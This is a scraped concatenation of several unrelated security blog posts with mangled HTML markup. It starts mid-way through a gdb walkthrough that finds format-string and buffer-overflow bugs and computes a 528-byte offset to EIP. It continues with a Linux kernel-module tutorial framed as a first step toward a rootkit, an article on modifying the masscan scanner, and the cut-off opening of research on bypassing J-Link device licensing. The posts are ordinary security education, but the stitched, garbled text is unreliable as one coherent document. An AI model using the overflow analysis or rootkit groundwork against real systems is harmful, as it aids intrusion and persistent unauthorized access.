span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"delete 1/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"break *0x0804867b/span/span
span class="code-line"span class="go"Breakpoint 2 at 0x804867b/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r ABC/span/span
span class="code-line"span class="go"Starting program: /home/testuser/app ABC/span/span
span class="code-line"/span
span class="code-line"span class="go"Breakpoint 2, 0x0804867b in main ()/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"x/s $eax/span/span
span class="code-line"span class="go"0xbffff96d: quot;ABCquot;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is the second format string vulnerability./p
h2Buffer Overflow/h2
pSo far we have found an integer overflow and 2 format string vulnerabilities./p
pNext we should look over the codecheckpass/code function which is called on line 23 of the disassembly above. Here is the relevant instructions related to the call to codecheckpass/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x0804864c lt;+64gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="x" 0x0804864f lt;+67gt;: add eax,0x4/span/span
span class="code-line"span class="x" 0x08048652 lt;+70gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="x" 0x08048654 lt;+72gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 0x08048657 lt;+75gt;: call 0x80486a2 lt;checkpassgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWe've already seen a set of instructions that were exactly the same as this, the second call to codeprintf/code, so this function takes 1 argument, the second argument to the application./p
pHere is the disassembly of codecheckpass/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble checkpass/span/span
span class="code-line"span class="go"Dump of assembler code for function checkpass:/span/span
span class="code-line"span class="go" 0x080486a2 lt;+0gt;: push ebp/span/span
span class="code-line"span class="go" 0x080486a3 lt;+1gt;: mov ebp,esp/span/span
span class="code-line"span class="go" 0x080486a5 lt;+3gt;: sub esp,0x228/span/span
span class="code-line"span class="go" 0x080486ab lt;+9gt;: mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="go" 0x080486ae lt;+12gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x080486b1 lt;+15gt;: call 0x80484d0 lt;strlen@pltgt;/span/span
span class="code-line"span class="go" 0x080486b6 lt;+20gt;: add eax,0x1/span/span
span class="code-line"span class="go" 0x080486b9 lt;+23gt;: mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="go" 0x080486bd lt;+27gt;: mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="go" 0x080486c0 lt;+30gt;: mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="go" 0x080486c4 lt;+34gt;: lea eax,[ebp-0x20c]/span/span
span class="code-line"span class="go" 0x080486ca lt;+40gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x080486cd lt;+43gt;: call 0x8048510 lt;strncpy@pltgt;/span/span
span class="code-line"span class="go" 0x080486d2 lt;+48gt;: mov DWORD PTR [esp+0x4],0x8048815/span/span
span class="code-line"span class="go" 0x080486da lt;+56gt;: lea eax,[ebp-0x20c]/span/span
span class="code-line"span class="go" 0x080486e0 lt;+62gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x080486e3 lt;+65gt;: call 0x8048460 lt;strcmp@pltgt;/span/span
span class="code-line"span class="go" 0x080486e8 lt;+70gt;: mov DWORD PTR [ebp-0xc],eax/span/span
span class="code-line"span class="go" 0x080486eb lt;+73gt;: mov eax,DWORD PTR [ebp-0xc]/span/span
span class="code-line"span class="go" 0x080486ee lt;+76gt;: leave /span/span
span class="code-line"span class="go" 0x080486ef lt;+77gt;: ret /span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"/code/pre/div
/td/tr/table
pIn the prologue, 0x228 bytes (or 552 bytes) are reserved for local variables and function call arguments./p
pThe interesting call here is the call to codestrncpy/code but we need to examine the call to codestrlen/code first because it looks like output is the third argument to codestrncpy/code./p
pThe call to codestrlen/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x080486ab lt;+9gt;: mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 0x080486ae lt;+12gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 0x080486b1 lt;+15gt;: call 0x80484d0 lt;strlen@pltgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pIt's clear the first argument is being used as the argument to codestrlen/code. Return values are normally passed using the EAX register./p
pHere is the call to codestrncpy/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x" 0x080486b6 lt;+20gt;: add eax,0x1/span/span
span class="code-line"span class="x" 0x080486b9 lt;+23gt;: mov DWORD PTR [esp+0x8],eax/span/span
span class="code-line"span class="x" 0x080486bd lt;+27gt;: mov eax,DWORD PTR [ebp+0x8]/span/span
span class="code-line"span class="x" 0x080486c0 lt;+30gt;: mov DWORD PTR [esp+0x4],eax/span/span
span class="code-line"span class="x" 0x080486c4 lt;+34gt;: lea eax,[ebp-0x20c]/span/span
span class="code-line"span class="x" 0x080486ca lt;+40gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="x" 0x080486cd lt;+43gt;: call 0x8048510 lt;strncpy@pltgt;/span/span
span class="code-line"/code/pre/div
/td/tr/table
pYou can see that 1 is added to the return value and it is put on the stack as the third argument to codestrncpy/code./p
pThe pointer to the function argument is then put on the stack as the second argument (on line 3 and 4)./p
pLastly the address of the local variable is then put on the stack as the first argument (on lines 5 and 6)./p
pHere we can see that the local variable is 0x20c bytes (524 bytes) away from EBP, meaning that we'll need to write 528 bytes until we overwrite EIP using an overflow here, 4 bytes are added for the old EBP saved during the prologue./p
pLooking at the prototype for codestrncpy/code (using codeman strncpy/code), we can see that the first argument is the destination, second the source and third the maximum characters to copy:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go" char *strncpy(char *dest, const char *src, size_t n);/span/span
span class="code-line"/code/pre/div
/td/tr/table
pKnowing all of this, its easy to see that there is in fact a buffer overflow here because the developer has used the length of the input buffer to bound the copy function. We can even see how many bytes we have until we overwrite EIP./p
h2Conclusion/h2
pWhile its technically possible to just fuzz all of the application inputs, the more complex the application gets the more infeasible it becomes./p
pThis is also true for reverse engineering every section of an application so its important that you know how to focus on the important parts of the application./p
pUltimately reverse engineering is much more powerful than fuzzing but both should be used in combination to increase efficiency./p
pHappy Hacking :-)/p
pA a href="https://en.wikipedia.org/wiki/Loadable_kernel_module" target="_blank"loadable kernel module/a (LKM) is the easiest way to create a a href="https://en.wikipedia.org/wiki/Rootkit" target="_blank"rootkit/a, although it is also the most noisy and easiest to defend against. Once root (or system level privileges) is gained on a machine, a rootkit is the best way to maintain root access to that machine./p
pHere I will try to explain the basics of what a LKM actually is and how to create and test a very basic one for a href="https://en.wikipedia.org/wiki/Linux" target="_blank"Linux/a./p
!--more--
pAn LKM is a plugin to the a href="https://en.wikipedia.org/wiki/Kernel_%28computing%29" target="_blank"kernel/a. It allows you to run code with the same permissions as the kernel, which isn't possible for normal a href="https://en.wikipedia.org/wiki/User_space" target="_blank"userland/a applications. a href="https://en.wikipedia.org/wiki/Device_driver" target="_blank"Device drivers/a are LKM's as they need permission to access the computers hardware, so either with or without knowing it, you already have some experience with LKM's. Throughout this post I will be using LKM and module interchangeably./p
h2Creating A Hello World LKM/h2
pHere is the code for the LKM that we will be creating:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;linux/module.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;linux/init.hgt;/spanspan class="cp"/span/span
span class="code-line"/span
span class="code-line"span class="n"MODULE_AUTHOR/spanspan class="p"(/spanspan class="s"quot;0xe7, 0x1equot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="n"MODULE_DESCRIPTION/spanspan class="p"(/spanspan class="s"quot;A simple hello world modulequot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="n"MODULE_LICENSE/spanspan class="p"(/spanspan class="s"quot;GPLquot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="k"static/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"__init/spanspan class="w" /spanspan class="nf"hello_init/spanspan class="p"(/spanspan class="kt"void/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printk/spanspan class="p"(/spanspan class="s"quot;Hello World!/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"return/spanspan class="w" /spanspan class="mi"0/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="k"static/spanspan class="w" /spanspan class="kt"void/spanspan class="w" /spanspan class="n"__exit/spanspan class="w" /spanspan class="nf"hello_exit/spanspan class="p"(/spanspan class="kt"void/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printk/spanspan class="p"(/spanspan class="s"quot;Unloading hello./spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"return/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="n"module_init/spanspan class="p"(/spanspan class="n"hello_init/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="n"module_exit/spanspan class="p"(/spanspan class="n"hello_exit/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pLines 4 and 5 and just some information about the module. Line 6 is needed otherwise when we load the module we get the following error message in the systems log:/p
pcodehello: module license 'unspecified' taints kernel./code/p
pThe module will still load but as we are learning to write a rootkit, we want as little 'noise' as possible./p
pThe function codehello_init/code on lines 8 - 12 runs when the module is loaded, here we are just printing "Hello World!\n" to the system log. The function codehello_exit/code on lines 14 - 18 runs when the module is unloaded, here we are just printing "Unloading hello.\n" to the system log. They are defined as such on lines 20 and 21./p
h2Compiling The LKM/h2
pTo a href="https://en.wikipedia.org/wiki/Compiler" target="_blank"compile/a it we need a codeMakefile/code, the makefile below will do:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nv"obj-m/span span class="o"+=/span hello.o/span
span class="code-line"/span
span class="code-line"span class="nf"all/spanspan class="o":/span/span
span class="code-line" make -C /lib/modules/span class="k"$(/spanshell uname -rspan class="k")/span/build span class="nv"M/spanspan class="o"=/spanspan class="k"$(/spanPWDspan class="k")/span modules/span
span class="code-line"/span
span class="code-line"span class="nf"clean/spanspan class="o":/span/span
span class="code-line" make -C /lib/modules/span class="k"$(/spanshell uname -rspan class="k")/span/build span class="nv"M/spanspan class="o"=/spanspan class="k"$(/spanPWDspan class="k")/span clean/span
span class="code-line"/code/pre/div
/td/tr/table
pWith both of these files in the same directory we can now compile our first LKM:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"root@dev:~/lkms# /spanmake/span
span class="code-line"span class="go"make -C /lib/modules/3.12-kali1-686-pae/build M=/root/lkms modules/span/span
span class="code-line"span class="go"make[1]: Entering directory `/usr/src/linux-headers-3.12-kali1-686-pae#39;/span/span
span class="code-line"span class="go" CC [M] /root/lkms/hello.o/span/span
span class="code-line"span class="go" Building modules, stage 2./span/span
span class="code-line"span class="go" MODPOST 1 modules/span/span
span class="code-line"span class="go" CC /root/lkms/hello.mod.o/span/span
span class="code-line"span class="go" LD [M] /root/lkms/hello.ko/span/span
span class="code-line"span class="go"make[1]: Leaving directory `/usr/src/linux-headers-3.12-kali1-686-pae#39;/span/span
span class="code-line"span class="gp"root@dev:~/lkms# /spanls -l/span
span class="code-line"span class="go"total 160/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 384 May 12 19:35 hello.c/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 70621 May 12 19:35 hello.ko/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 650 May 12 19:35 hello.mod.c/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 39088 May 12 19:35 hello.mod.o/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 32540 May 12 19:35 hello.o/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 156 May 12 19:35 Makefile/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 27 May 12 19:35 modules.order/span/span
span class="code-line"span class="go"-rw-r--r-- 1 root root 0 May 12 19:35 Module.symvers/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAs we can see, the codemake/code command has created a number of files (codehello.ko/code, codehello.mod.c/code, codehello.mod.o/code, codehello.o/code, codemodules.order/code, codeModule.symvers/code). The file we are interested in is codehello.ko/code on line 13, this is our module./p
h2Loading/Unloading The LVM/h2
pI am using a 32 bit a href="https://www.debian.org/" target="_blank"Debian/a based Linux system (a href="http://www.kali.org/" target="_blank"Kali/a) for my development environment but this should work on any modern Linux system (Do not try this on a production machine! Working with the kernel always has the possiblity to crash the kernel and bring the whole system down! You have been warned!), older systems might require some changes./p
pHere is how we load and unload the module; and check that everything has worked:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"root@dev:~/lkms# /spanuname -r/span
span class="code-line"span class="go"3.12-kali1-686-pae/span/span
span class="code-line"span class="gp"root@dev:~/lkms# /spaninsmod ./hello.ko/span
span class="code-line"span class="gp"root@dev:~/lkms# /spandmesg span class="p"|/span tail -n span class="m"1/span/span
span class="code-line"span class="go"[692908.561165] Hello World!/span/span
span class="code-line"span class="gp"root@dev:~/lkms# /spanlsmod span class="p"|/span grep hello/span
span class="code-line"span class="go"hello 12363 0 /span/span
span class="code-line"span class="gp"root@dev:~/lkms# /spanrmmod hello/span
span class="code-line"span class="gp"root@dev:~/lkms# /spandmesg span class="p"|/span tail -n span class="m"1/span/span
span class="code-line"span class="go"[692925.071683] Unloading hello./span/span
span class="code-line"span class="gp"root@dev:~/lkms# /spanlsmod span class="p"|/span grep hello/span
span class="code-line"span class="gp"root@dev:~/lkms#/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo first I have shown you the Linux kernel version I am using with the codeuname/code command on line 1, this is just so if it doesn't work for you, you can check if they are the same version. The codeinsmod/code command is used to load the module on line 3 and we check the system log to make sure it has printed the string "Hello World!\n" using the codedmesg/code command on line 4. The codelsmod/code command is used on line 6 to check if the module is actually loaded. The codermmod/code command is used on line 8 to unload the module and the system log is checked again on line 9 to check that our printk has run correctly. Lastly we check with codelsmod/code again to make sure the module has been unloaded correctly./p
pSo we have a working LKM./p
h2Conclusion/h2
pIt is very easy to make mistakes with any programming but the majority of mistakes in a normal application will not bring a system down. While its always important to build and test code in a development environment, its even more important when coding an application that runs in kernelland as any tiny mistake can, and most likely will, bring the system down./p
pHappy Hacking :-)/p
Masscan is a fast network scanner that is good for scanning a large range of IP addresses and ports. We’ve adapted it to our needs by giving it a little tweak.
The biggest inconvenience in the original version was the inability to collect banners from HTTPS servers. And what is a modern web without HTTPS? You can’t really scan anything. That’s what motivated us to modify masscan. As it usually happens, one little improvement led to another one, with some bugs being discovered along the way. Now we want to share our work with the community. All the modifications we’ll be talking about are already available in our repository on GitHub.
What are network scanners for
Network scanners are one of the universal tools in cybersecurity research. We use them to solve such tasks as perimeter analysis, vulnerability scanning, phishing and data leak detection, C&C detection, and host information collection.
How masscan works
Before we talk about the custom version, let’s understand how the original masscan works. If you are already familiar with it, you may be interested in the selection of useful scanner options. Or go straight to the section “Our modifications to masscan.”
The masscan project is small and, in our opinion, written scrupulously and logically. It was nice to see the abundance of comments — even deficiencies and kludges are clearly marked in the code:
Logically, the code can be divided into several parts as follows:
implementation of application protocols
implementation of the TCP stack
packet processing and transmission threads
implementation of output formats
reading raw packets
Let’s look at some of them in more detail.
Implementation of application protocols
Masscan is based on a modular concept. Thus, it can support any protocol, all you need is to register the appropriate structure and specify its use everywhere you need it (ha-ha):
Here’s a little description of the structure.
The protocol name and the standard port are informative only. The сtrl_flags field is not used anywhere.
The init function initiates the protocol, parse is the method responsible for processing the incoming data feed and generating response messages, and cleanup is the cleanup function for the connection.
The transmit_hello function is used to generate a hello packet if the server itself does not transmit something first, and the data from the hello field is used if the function is not specified.
The function that tests the functionality can be specified in the selftest.
Through this mechanism, for example, it’s possible to write handlers in Lua (the option --script). However, we never got around to checking if it really works. The thing we came across with masscan is that most of the interesting options are not described in the documentation, and the documentation itself is scattered in different places, partially overlapping. Part of the flags can only be found in the source code (main-conf.c). The --script option is one of them, and we have collected some other useful and interesting functions in the section "Useful options of the original masscan."
Implementation of the TCP stack
One of the reasons why masscan is so fast and can handle many simultaneous connections is its native implementation of the TCP stack*. It takes about 1,000 lines of code in the fileproto-tcp.c.
* A native TCP stack allows you to bypass OS restrictions, not to use OS resources, not to use heavier OS mechanisms, and to shorten the packet processing path
Packet processing and transmission threads
Masscan is fast and single-threaded. More specifically, it uses two threads per each network interface, one of which is a thread to process incoming packets. But no one really runs on more than one interface at a time.
One thread:
reads raw data from the network interface.
processes this data by running it through its own TCP stack and application protocol handlers.
forms necessary data to be transmitted.
stacks them in the transmit_queue.
The other thread takes the messages prepared for transmission from transmit_queue and writes them to the network interface (Fig. 1). If the messages sent from the queue do not exceed the limit, SYN packets are generated and sent for the next scanning targets.
Implementation of output formats
This part is conceptually similar to the modular implementation of protocols: it also has the OutputType structure that contains the main serialization functions. There's an abundance of all possilble output formats: custom binary, the modern NDJSON, the nasty XML, and the grepable. There's even the option of saving data to Redis. Let us know in the comments if you've tried it :)
Some formats are compatible with (or, as the author of masscan puts it, inspired by) similar utilities, such as nmap and unicornscan.
Reading raw packets
Masscan provides the ability to work with the network adapter through the PCAP or PFRING libraries, and to read data from the PCAP dump. The rawsock.c file contains several functions that abstract the main code from specific interfaces.
To select PFRING, you have to use the --pfring parameter, and to enable reading from the dump, you have to put the file prefix on the adapter name.
Useful options of the original masscan
Let’s take a look at some interesting and useful options of the original masscan that are rarely talked about.
Options
--nmap, --help Description: Help Comment: Even combined, these options give very little useful information. The documentation also contains incomplete information and is scattered in different files: README.md, man, FAQ. There’s also a small HOWTO on how to use the scanner together with AFL (american fuzzy lop). If you want to know about all the options, you can find the full list of them only in the source code (main-conf.c)
--output-format ndjson,-oD,--ndjson-status Description: NDJSON support Comment: Gigabytes of line-by-line NDJSON files are much nicer to handle than JSON. And the status output in NDJSON format is useful for writing utilities that monitor masscan performance
--output-format redis Description: Ability to save outputs directly to Redis Comment: Well, why not?:) If you haven’t worked with this tool, read about it here
--range fe80::/67 Description: IPv6 support Comment: Everything’s clear here, but it would be interesting to read about real use cases in the comments. I can think of scanning a local network or only a small range of some particular country obtained through BGP
--http-* Description: HTTP request customization Comment: When creating an HTTP request, you can change any part of it to suit your needs: method, URI, version, headers, and/or body
--hello-[http, ssl, smbv1] Description: Scanning protocols on non-standard ports Comment: If masscan hasn’t received a hello packet from the target, its default setting is to send the request first, choosing a protocol based on the target’s port. But sometimes you might want to scan HTTP on some non-standard port
--resume Description: Pause Comment: Masscan knows how to delicately stop and resume where it paused. With Ctrl+C (SIGINT) masscan terminates, saving state and startup parameters, and with --resume it reads that data and continues operation
--rotate-size Description: Rotation of the output file Comment: The output can contain a lot of data, and this parameter allows you to specify the maximum file size at which the output will start to be written to the next file
--shard Description: Horizontal scaling Comment: Masscan pseudorandomly selects targets from the scanned range. If you want to run masscan on multiple machines within the same range, you can use this parameter to achieve the same random distribution even between machines
--top-ports Description: Scanning of N popular ports (array top_tcp_ports) Comment: This parameter came from nmap
--script Description: Lua scripts Comment: I have doubts that it works, but the possibility itself is interesting. Is there anyone who uses it? Let me know if you have any interesting examples
--vuln [heartbleed, ticketbleed, poodle, ntp-monlist] Description: Search for certain known vulnerabilities Comment: We cannot say anything about its correctness and efficiency, since this mechanism of vulnerability detection is a kind of kludge scattered throughout the code and conflicts with many other options, and we did not have to apply it in real tasks
Just to remind you of an important point everyone stumbles upon: masscan probably won’t work if you just run it to collect banners. The documentation does say this, but who cares to read it, right? Since masscan uses its own network stack, the OS knows nothing about the connections it creates and is rather surprised when it receives a packet (SYN, ACK) from somewhere in the network in response to a SYN request from the scanner. And then, depending on the type and settings of OS and firewall, the OS transmits an ICMP or RST packet, which is extremely adverse to the output. So you need to read the documentation and take this point into account.
Our modifications to masscan
We’ve added HTTPS support
The Internet is quite the fortress these days, even the most backward scammers have already given up on unencrypted HTTP. Therefore, it’s rather inconvenient without HTTPS support — this feature makes investigation, such as searching for C&C servers and phishing, much easier. There’re other tools besides masscan, but they are slower. We wanted to have a universal tool that would cover HTTPS and still be fast.
The first thing to do was to implement a full-fledged SSL. What the original masscan has is the ability to send a predefined hello packet then fetch and process a server certificate. Our version can establish and maintain an SSL connection and analyze the contents of nested protocols, which means it can collect HTTP banners from HTTPS servers.
Here’s how we achieved that. We added a new application-layer protocol to the source code and used the standard solution, OpenSSL, to implement SSL. Here we needed to do some fine-tuning, and the structure describing the application-layer protocol in the custom scanner looks like this:
We added handlers for protocol deinitialization, connection initiation and expanded the set of handler parameters. As a result, it became possible to handle nested protocols. We also managed to implement the change of application protocol handler more precisely. It is necessary when it’s impossible to process data with the current protocol or if such mechanism is embedded in the protocol itself, for example, when using STARTTLS.
Then we had some problems with performance and packet loss. SSL is heavy on the CPU. We had the option to try something faster than OpenSSL, but we went in the direction of processing incoming packets in several threads within one network interface. After implementing this, the packet processing pipeline looks like this:
The th_recv_read thread is needed to read data from the network interface regardless of the data processing speed. The q_recv_pb queue helps to detect cases when the data transmission speed is too high, and inbound packets cannot be processed in time. The th_recv_sched thread dispatches messages based on the hashes of the outbound and inbound IP addresses and ports to the th_recv_hdl_* threads so that the same connection falls into the same handler. The options related to this functionality are --num-handle-threads—the number of handler threads, and --tranquility—for automatic reduction of packet transmission speed when inbound packets cannot be handled fast enough.
HTTPS support is enabled with the parameter --dynamic-ssl while --output-filename-ssl-keys can be used to save master keys.
You can also notice a small cosmetic improvement — namely, the names of the threads. In our version, it became clear which threads consume resources:
We’ve improved code quality
Masscan was found to have many strange things and errors. For example, the conversion of time to ticks** looked as follows:
** A unit of time measurement in which there’s enough accuracy, and which does not take up too much space
Network TCP connections were often handled incorrectly, resulting in broken connections and unnecessary repeat transmissions:
We also discovered errors in memory handling, including memory leaks. We managed to fix many of them, but not all. For example, when scanning /0:80, we see a leak of several ranges of 2 bytes each.
These errors were detected thanks to our colleagues, who meticulously used our developments, static analyzers (GCC, Clang, and VS), UB and memory sanitizers. Separately, I want to thank PVS-Studio. Those guys are unparalleled in quality and convenience.
We’ve added a build for different OSs
To consolidate the outputs, we’ve written a build and a test for Windows, Linux, and macOS using GitHub Actions.
The build pipeline looks like this (Fig. 4):
format check
static clang analyzer check
assembly debugging with sanitizers and running built-in tests
You can download compiled binaries from the build or release artifacts:
We’ve added a few more features
Here are the rest of the less significant things that were introduced in our version:
--regex(--regex-only-banners) is data-level message filtering in TCP. A regular expression is applied to the contents of each TCP packet. If the regular expression is triggered, the connection information will be in the output.
--dynamic-set-host is used to input the header hostinto a HTTP request. The IP address of the target being scanned is taken as a value.
An option to specify URIs in HTTP requests. We removed it later because the author of the original masscan added the same functionality. This is part of the --http-* options family.
Unlike software vulnerabilities, hardware security flaws are not always possible to fix. However, this is no reason to be frustrated! The security of IoT, phones, tablets, control units, etc. still needs to be researched. At the very least, this will help alert users to the vulnerabilities as well as fix the flaws in new versions of the products.
Our team dug into one of the most popular debuggers for microcontrollers — J-Link, and found some vulnerabilities in its licensing system which may allow you to turn a budget version of the device into an expensive one in seconds.
Some background to J-Link, the device in question
J-Link is one of the most popular microcontroller debuggers among developers, enthusiasts, and cybersecurity specialists. Its benefits include:
a huge list of supported microcontrollers and processor cores
support for all common debugging protocols
high-speed performance
excellent free software
SEGGER, the manufacturer of J-Link, has been producing its flagship product for over 15 years, and in that time it has fully experienced the problem of counterfeiting. Various marketplaces are filled with offers of J-Link clones for a much lower price than the original. However, most of them copy old versions of J-Link (v8, v9, or older).
SEGGER developers must have relied on their anti-counterfeiting experience when implementing more reliable methods of protection against cloning in the new versions — v10 and v11. They were the focus of our research.
J-Link models
J-Link is not just one device, but a whole line of products that differ both in their hardware and software features. The available features are defined by licenses that can be integrated into the device or purchased separately from the manufacturer’s website.
J-Link BASE
The set of embedded licenses in this model is limited to basic features only.
J-Link PLUS
This model has an extended set of embedded licenses that provides access to all software features and technologies of the vendor.
J-Link PRO
This model, like J-Link PLUS,has a full set of embedded licenses. J-Link PRO:
can operate at higher speeds.
has an Ethernet port.
is based on a different microcontroller and has an integrated field-programmable gate array (FPGA).
J-Link EDU
This is the lowest-end model designed for non-commercial use that comes without technical support. Its available features are identical to those of J-Link BASE. The user must agree to the Terms of Use before each use (Fig. 1).
J-Link EDU, J-Link BASE, and J-Link PLUS are in fact the same device: the schematic, the electronic components, and the firmware are identical, so the three are only different in their sets of embedded licenses.
